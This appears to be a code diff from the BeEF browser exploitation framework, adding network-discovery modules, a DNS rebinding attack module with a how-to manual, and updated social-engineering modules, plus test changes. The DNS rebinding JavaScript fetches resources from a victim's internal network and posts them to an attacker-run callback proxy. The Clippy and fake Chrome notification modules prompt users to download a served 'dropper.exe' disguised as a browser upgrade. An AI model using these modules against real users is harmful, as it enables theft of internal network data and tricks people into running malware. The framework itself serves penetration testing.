BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => dns, :type => 'DNS Server', :cid => cid)
end
end
end

View File

@@ -0,0 +1,25 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result = "Not Installed";
var dom = document.createElement('b');
var img = new Image;
img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";
img.onload = function() {
if (this.width == 146 && this.height == 176) result = "Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdrone='+result);
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdrone='+result);
dom.removeChild(this);
}
dom.appendChild(img);
});

View File

@@ -0,0 +1,20 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_airdrone:
enable: true
category: "Host"
name: "Detect Airdrone"
description: "This module attempts to detect Airdrone on localhost (default port: 8888)"
authors: ["bcoles"]
target:
working:
ALL:
os: ["Android"]
not_working:
ALL:
os: ["All"]

View File

@@ -0,0 +1,36 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_airdrone < BeEF::Core::Command
def self.options
return [
{'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1'},
{'name' => 'port' , 'ui_label' => 'Port', 'value' => '8888'}
]
end
def post_execute
save({'airdrone' => @datastore['airdrone']})
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
if @datastore['results'] =~ /^proto=(https?)&ip=([\d\.]+)&port=([\d]+)&airdrone=Installed$/
proto = $1
ip = $2
port = $3
session_id = @datastore['beefhook']
type = 'Airdrone'
cid = @datastore['cid'].to_i
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found 'Airdrone' [proto: #{proto}, ip: #{ip}, port: #{port}]")
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
end
end
end
end
end

View File

@@ -25,14 +25,9 @@ class Detect_cups < BeEF::Core::Command
session_id = @datastore['beefhook']
type = 'CUPS'
cid = @datastore['cid'].to_i
if BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type).empty?
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found 'CUPS' [proto: #{proto}, ip: #{ip}, port: #{port}]")
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
r.save
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
end
end
end

View File

@@ -86,8 +86,11 @@ beef.execute(function() {
new Array("Immunity Debugger", "Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe/2/GOTO"),
new Array("Java JRE 1.7", "Java\\jre7\\bin\\awt.dll/2/CHECK_BITMAP"),
//new Array("Microsoft Silverlight v5.1.30514.0", "Microsoft Silverlight\\5.1.30514.0\\npctrl.dll/2/102"),
new Array("SQL Server Management Studio", "Microsoft SQL Server\\100\\Tools\\Binn\\VSShell\\Common7\\IDE\\Ssms.exe/2/124"),
new Array("VMware Tools", "VMware\\VMware Tools\\TPVCGatewaydeu.dll/2/30994"),
new Array("Notepad++", "Notepad++\\uninstall.exe/2/110"),
new Array("FortiClient", "Fortinet\\FortiClient\\FortiClient.exe/2/186"),
new Array("Cisco AnyConnect Secure Mobility Client", "Cisco\\Cisco AnyConnect Secure Mobility Client\\vpncommon.dll/2/30996"),
new Array("OpenVPN", "OpenVPN\\Uninstall.exe/2/110"),
new Array("Sophos Client Firewall", "Sophos\\Sophos Client Firewall\\logo_rc.dll/2/114"),
new Array("VLC", "VideoLAN\\VLC\\npvlc.dll/2/3"),

View File

@@ -30,10 +30,9 @@ class Get_internal_ip < BeEF::Core::Command
# save the network host
if @datastore['results'] =~ /^([\d\.]+)$/
ip = $1
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser has network interface #{ip}")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
end
end
end

View File

@@ -12,10 +12,8 @@ class Get_internal_ip_webrtc < BeEF::Core::Command
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
session_id = @datastore['beefhook']
cid = @datastore['cid'].to_i
# save the network host
if @datastore['results'] =~ /IP is ([\d\.,]+)/
ips = $1.to_s.split(/,/)
@@ -25,16 +23,12 @@ class Get_internal_ip_webrtc < BeEF::Core::Command
next unless ip =~ /^[\d\.]+$/
next if ip =~ /^0\.0\.0\.0$/
next unless BeEF::Filters.is_valid_ip?(ip)
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
print_debug("Hooked browser has network interface #{ip}")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :os => os, :cid => cid)
r.save
end
print_debug("Hooked browser has network interface #{ip}")
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :os => os, :cid => cid)
end
end
end
end
end
end

View File

@@ -6,8 +6,8 @@
class F5_bigip_cookie_disclosure < BeEF::Core::Command
def post_execute
return if @datastore['result'].nil?
save({'BigIPCookie' => @datastore['BigIPCookie']})
return if @datastore['results'].nil?
save({'BigIPCookie' => @datastore['results']})
end
end

View File

@@ -22,14 +22,9 @@ class Cross_origin_scanner < BeEF::Core::Command
port = $2
proto = 'http'
type = 'HTTP Server (CORS)'
print_debug("Hooked browser found HTTP server #{ip}:#{port}")
if !ip.nil? && !port.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type).empty?
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
r.save
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found HTTP server #{ip}:#{port}")
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
end
end
end

View File

@@ -0,0 +1,59 @@
# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack #
## How does attack work in general? ##
Attacker must have some domain and DNS server responds to DNS query for this domain.
When client's browser connects to the attacker's domain it gets two IP addresses:
* First IP address in the DNS response is address of Web page with malicious JavaScript.
* Second IP address is from victim's LAN, it is a target address.
The client's browser connects to the first IP address in the DNS response and retrieves the HTML file containing the attacker's
JavaScript.
When the attacker's JavaScript initiates a request back to the attacker's domain via an
XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However,
since the client's IP is now blocked, the browser will receive a TCP reset packet from the
attacker's Web server.
The browser will automatically attempt to use the second IP address listed in the DNS response,
which is the IP address of the clients router. The attacker's JavaScript can now send requests to
the router as well as view the responses.
## How to launch attack in BeEF? ##
1. First of all, you should register domain, for example *dnsrebinding.org* and register NS server with IP address where BeEF DNS server launched. For tests you can use https://freedns.afraid.org, free third-level domain registrar.
2. Configure DNS Rebinding extension and module. In extension there are four main configs:
* *address_http_internal* - IP Address of small HTTP Server, that hooks victim. That address will be in DNS response for victim.
* *address_http_external* - If you behind NAT
* *address_proxy_internal* - Victim will send on that address responses from target LAN IP. May be the same as address_http.
* *address_proxy_external* - If you behind NAT
* *port_ proxy* - 81 by default
In module main config is *domain*. Module adds DNS rule to BeEF DNS database with the help of this config.
3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org*
4. In BeEF UI open module "DNS Rebinding" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS.
4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server.
5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP.
For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php
6. That is all.
Extension uses Iptables to block client. That is no good way, because system() is patched and Iptables need sudo. But victim's browser need get TCP RST from server right away XMLHttpRequest to successful attack.
Notice, attack is VERY DEMANDING, there are many things that can break it. For example:
1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address.
2. If victim's browser have unclear cache with target IP address, browser will use local IP.
3. (!) If victim even has closed, TIME WAIT connection with target IP address - the same, browser will use local IP
4. If victim broke attack (for example close tab with hook page), browser anyway save in cache ip address (local) of web page, and you should wait some time while cache will be clear again. In different browsers that time different.
## References ##
1. http://en.wikipedia.org/wiki/DNS_rebinding
1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf

View File

@@ -0,0 +1,51 @@
beef.execute(function() {
var domain = "<%= @domain %>"
if (window.location.href.indexOf(domain) == -1) {
window.location.href = "http://"+domain+"/";
} else {
//Cut '/' from url
var url = window.location.href.slice(0, -1);
var url_callback = "<%= @url_callback %>";
url_callback += '/?from=from_victim&&';
function get_next_query() {
var xhr_callback = new XMLHttpRequest();
//Synchronous because we do nothing without query from BeEF owner
xhr_callback.open('GET', url_callback+'que=req', true);
xhr_callback.onload = resolv_query;
xhr_callback.send(null);
}
function resolv_query() {
var path = this.getResponseHeader('path');
var method = this.getResponseHeader('method');
var data = this.responseText;
//Asynchronous beacuse XHR2 don't work with responseType when synchronous
var xhr = new XMLHttpRequest();
xhr.open(method, url+path, true);
xhr.responseType = 'arraybuffer'
xhr.onload = function(e) {
var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
beef.debug(blob);
xhr_cb = new XMLHttpRequest();
xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
xhr_cb.send(blob);
elem = document.createElement("div");
elem.id = 'log';
elem.innerHTML = 'Downloaded: '+path;
document.body.insertBefore(elem, document.body.childNodes[0]);
}
xhr.send(data);
}
xhr1 = new XMLHttpRequest();
xhr1.open('GET', url+'/?load', false);
xhr1.send(null);
if (xhr1.status == 200) {
setInterval(get_next_query, 1000);
}
}
});

View File

@@ -0,0 +1,18 @@
beef:
module:
dns_rebinding:
enable: true
category: "Network"
name: "DNS Rebinding"
description: "dnsrebind"
domain: "dnsreb.beefproject.com"
authors: ["Milovanov T.I."]
target:
working:
C:
min_ver: 1
max_ver: 40
O:
min_ver: 1
max_ver: 27
not_working: ["All"]

View File

@@ -0,0 +1,50 @@
class Dns_rebinding < BeEF::Core::Command
def self.options
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
url_callback = 'http://'+dr_config['address_proxy_external']+':'+dr_config['port_proxy'].to_s
return [{
'name'=>'target',
'value'=>'192.168.0.1'
},
{
'name'=>'domain',
'value'=>domain
},
{
'name'=>'url_callback',
'value'=>url_callback
}]
end
def pre_send
dns = BeEF::Extension::Dns::Server.instance
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
addr = dr_config['address_http_external']
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
target_addr = "192.168.0.1"
if @datastore[0]
target_addr = @datastore[0]['value']
end
if @datastore[1]
domain = @datastore[1]['value']
end
id = dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::A,
:response => [addr, target_addr]
)
dns.remove_rule!(id)
id = dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::A,
:response => [addr, target_addr]
)
end
end

View File

@@ -35,12 +35,7 @@ class Get_http_servers < BeEF::Core::Command
cid = @datastore['cid'].to_i
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]")
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => "HTTP Server", :cid => cid)
r.save
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => "HTTP Server", :cid => cid)
end
end

View File

@@ -37,11 +37,8 @@ class Identify_lan_subnets < BeEF::Core::Command
next if ip.nil?
next unless ip.to_s =~ /^([\d\.]+)$/
next unless BeEF::Filters.is_valid_ip?(ip)
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
print_debug("Hooked browser found host #{ip}")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
print_debug("Hooked browser found host #{ip}")
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
end
end
end

View File

@@ -256,6 +256,7 @@ beef.execute(function() {
"Netscape iPlanet",
"80","http",true,
"/mc-icons/menu.gif",21,18),
new Array("Kemp Load Master", "443", "https", false, "/kemplogo.png",951,75),
new Array(
"m0n0wall",
"80","http",false,
@@ -263,6 +264,7 @@ beef.execute(function() {
new Array("SMC Router","80","http",false,"/images/logo.gif",133,59)
// Uncommon signatures
//new Array("Rejetto HttpFileServer", "8080", "http",i true, "/~img27",16,16),
//new Array("Citrix MetaFrame", "80", "http", false, "/Citrix/MetaFrameXP/default/media/nfusehead.gif",230,41),
//new Array("Oracle E-Business Suite","80","http",false,"/OA_MEDIA/FNDSSCORP.gif",134,31),
//new Array("OracleAS Reports Service","80","http",false,"/reports/images/oraclelogo_sizewithprodbrand.gif",133,20),

View File

@@ -35,14 +35,9 @@ class Internal_network_fingerprinting < BeEF::Core::Command
url = $5
session_id = @datastore['beefhook']
cid = @datastore['cid'].to_i
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found '#{discovered}' [ip: #{ip}]")
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => discovered, :cid => cid)
r.save
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => discovered, :cid => cid)
end
end

View File

@@ -25,20 +25,18 @@ class Fingerprint_routers < BeEF::Core::Command
service = $4
session_id = @datastore['beefhook']
cid = @datastore['cid'].to_i
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service).empty?
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found network service " + service + " [proto: #{proto}, ip: #{ip}, port: #{port}]")
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
r.save
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
end
elsif @datastore['results'] =~ /^ip=(.+)&device=(.+)/
ip = $1
device = $2
session_id = @datastore['beefhook']
cid = @datastore['cid'].to_i
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip, :type => device).empty?
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found network device " + device + " [ip: #{ip}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :type => device, :cid => cid)
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :type => device, :cid => cid)
end
end
end

View File

@@ -37,11 +37,8 @@ class Ping_sweep < BeEF::Core::Command
if @datastore['results'] =~ /host=([\d\.]+) is alive/
ip = $1
if BeEF::Filters.is_valid_ip?(ip)
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
print_debug("Hooked browser has network interface #{ip}")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
print_debug("Hooked browser has network interface #{ip}")
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
end
end
end

View File

@@ -39,14 +39,9 @@ class Port_scanner < BeEF::Core::Command
session_id = @datastore['beefhook']
proto = 'http'
cid = @datastore['cid'].to_i
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service).empty?
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found network service [ip: #{ip}, port: #{port}]")
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
r.save
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
r.save
end
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
end
end

View File

@@ -0,0 +1,2 @@
heretic-clippy is copyright (c) 2013 sprky0
Homepage: https://github.com/sprky0/heretic-clippy

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 142 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 185 B

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Social Engineering"
name: "Clippy"
description: "Brings up a clippy image and asks the user to do stuff."
description: "Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt."
authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"]
target:
user_notify: ['ALL']

View File

@@ -4,12 +4,25 @@
# See the file 'doc/COPYING' for copying permission
#
class Clippy < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png','/clippy/clippy-speech-bottom','png')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png','/clippy/clippy-speech-mid','png')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png','/clippy/clippy-speech-top','png')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png','/clippy/clippy-main','png')
end
def self.options
@configuration = BeEF::Core::Configuration.instance
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
base_host = "#{proto}://#{beef_host}:#{beef_port}"
return [
{'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'},
{'name' =>'clippydir', 'description' =>'Webdir containing clippy images', 'ui_label'=>'Clippy image directory', 'value' => "#{base_host}/clippy/"},
{'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'},
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'},
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => "#{base_host}/dropper.exe"},
{'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'},
{'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'}
]
@@ -21,6 +34,10 @@ class Clippy < BeEF::Core::Command
#
def post_execute
save({'answer' => @datastore['answer']})
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png')
end
end

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Social Engineering"
name: "Fake Notification Bar (Chrome)"
description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below."
description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt."
authors: ["xntrik", "bcoles"]
target:
user_notify: ['ALL']

View File

@@ -6,8 +6,14 @@
class Fake_notification_c < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
base_host = "#{proto}://#{beef_host}:#{beef_port}"
return [
{'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', 'width'=>'150px'},
{'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width'=>'150px'},
{ 'name' => 'notification_text',
'description' => 'Text displayed in the notification bar',
'ui_label' => 'Notification text',

View File

@@ -7,12 +7,16 @@ class Hta_powershell < BeEF::Core::Command
def self.options
host = BeEF::Core::Configuration.instance.get('beef.http.host')
port = BeEF::Core::Configuration.instance.get('beef.http.port')
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
@configuration = BeEF::Core::Configuration.instance
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
base_host = "#{proto}://#{beef_host}:#{beef_port}"
ps_url = @configuration.get('beef.extension.social_engineering.powershell.powershell_handler_url')
return [
{'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "http://#{host}:#{port}"},
{'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "#{base_host}" },
{'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => "#{ps_url}"}
]
end

View File

@@ -25,7 +25,7 @@ class BeefTest
session.fill_in 'user', :with => 'beef'
session.fill_in 'pass', :with => 'beef'
session.click_button('Login')
sleep 20.0
sleep 10.0
session
end
@@ -46,4 +46,4 @@ class BeefTest
victim
end
end
end

View File

@@ -6,8 +6,8 @@
BEEF_TEST_DIR = "/tmp/beef-test/"
# General constants
ATTACK_DOMAIN = "attacker.beefproject.com"
VICTIM_DOMAIN = "attacker.beefproject.com"
ATTACK_DOMAIN = "127.0.0.1"
VICTIM_DOMAIN = "localhost"
ATTACK_URL = "http://" + ATTACK_DOMAIN + ":3000/ui/panel"
VICTIM_URL = "http://" + VICTIM_DOMAIN + ":3000/demos/basic.html"
@@ -19,6 +19,8 @@ BEEF_PASSWD = "beef"
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_NETWORK = "http://" + ATTACK_DOMAIN + ":3000/api/network"
RESTAPI_DNS = "http://" + ATTACK_DOMAIN + ":3000/api/dns"
RESTAPI_SENG = "http://" + ATTACK_DOMAIN + ":3000/api/seng"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"
RESTAPI_WEBRTC = "http://" + ATTACK_DOMAIN + ":3000/api/webrtc"

View File

@@ -4,7 +4,7 @@
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest_client'
require 'rest-client'
require 'json'
require '../common/test_constants'
require '../common/beef_test'
@@ -173,4 +173,4 @@ class TC_DebugModules < Test::Unit::TestCase
assert JSON.parse(data)["port_status"].include?("open")
end
end
end

View File

@@ -4,7 +4,7 @@
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest_client'
require 'rest-client'
require 'json'
require '../common/test_constants'

View File

@@ -19,7 +19,7 @@ class TC_Jools < Test::Unit::TestCase
return new Jools([]);"
jools_obj = victim.execute_script(script)
assert_not_nil jools_obj
victim.reset_session!
victim.driver.browser.close
end
#test simple jools rule example
@@ -44,6 +44,7 @@ class TC_Jools < Test::Unit::TestCase
return result.state;"
result = victim.execute_script(script)
assert_equal result,'on'
victim.driver.browser.close
end
#test jools chaining example
@@ -110,5 +111,6 @@ class TC_Jools < Test::Unit::TestCase
assert_not_equal results[1]['color'], 'green'
assert_equal results[2]['color'],'yellow'
assert_not_equal results[3]['color'], 'yellow'
victim.driver.browser.close
end
end

View File

@@ -6,57 +6,66 @@
require 'test/unit'
require '../common/test_constants'
require '../common/beef_test'
require 'rspec/expectations'
class TC_login < Test::Unit::TestCase
class TC_Login < Test::Unit::TestCase
include RSpec::Matchers
def test_log_in
session = Capybara::Session.new(:selenium)
session.visit(ATTACK_URL)
sleep 2.0
BeefTest.save_screenshot(session)
session.has_content?('BeEF Authentication')
session.should have_title('BeEF Authentication')
session.fill_in 'user', :with => 'beef'
session.fill_in 'pass', :with => 'beef'
BeefTest.save_screenshot(session)
session.click_button('Login')
sleep 20.0
session.has_content?('logout')
sleep 10.0
session.should have_content('Logout')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_beef_test_login_function
session = BeefTest.login
session.has_content?('logout')
session.should have_content('Logout')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_log_out
session = BeefTest.login
session.click_link('Logout')
session.has_content?('BeEF Authentication')
sleep 2.0
session.should have_title('BeEF Authentication')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_beef_test_logout_function
session = BeefTest.login
session = BeefTest.logout(session)
session.has_content?('BeEF Authentication')
sleep 2.0
session.should have_title('BeEF Authentication')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_logs_tab
session = BeefTest.login
session.click_on('Logs')
session.has_content?('logout')
session.has_content?('Hooked Browsers')
session.has_content?('Type')
session.has_content?('Event')
session.has_content?('Date')
session.has_content?('No logs to display')
session.has_content?('Page')
session.should have_content('Logout')
session.should have_content('Hooked Browsers')
session.should have_content('Type')
session.should have_content('Event')
session.should have_content('Date')
session.should have_content('Page')
session.should have_content('User with ip 127.0.0.1 has successfuly authenticated in the application')
BeefTest.save_screenshot(session)
BeefTest.logout(session)
session.driver.browser.close
end
def test_hooking_browser
@@ -65,20 +74,22 @@ class TC_login < Test::Unit::TestCase
sleep 5.0
attacker.has_content?(VICTIM_DOMAIN)
attacker.has_content?('127.0.0.1')
attacker.should have_content(VICTIM_DOMAIN)
attacker.should have_content('127.0.0.1')
attacker.click_on('127.0.0.1')
sleep 1.0
attacker.has_content?('Details')
attacker.has_content?('Commands')
attacker.has_content?('Rider')
attacker.should have_content('Details')
attacker.should have_content('Commands')
attacker.should have_content('Rider')
BeefTest.save_screenshot(attacker)
BeefTest.save_screenshot(victim)
BeefTest.logout(attacker)
attacker.driver.browser.close
victim.driver.browser.close
end
end
end

View File

@@ -0,0 +1,209 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
class TC_NetworkRest < Test::Unit::TestCase
class << self
def startup
$root_dir = '../../'
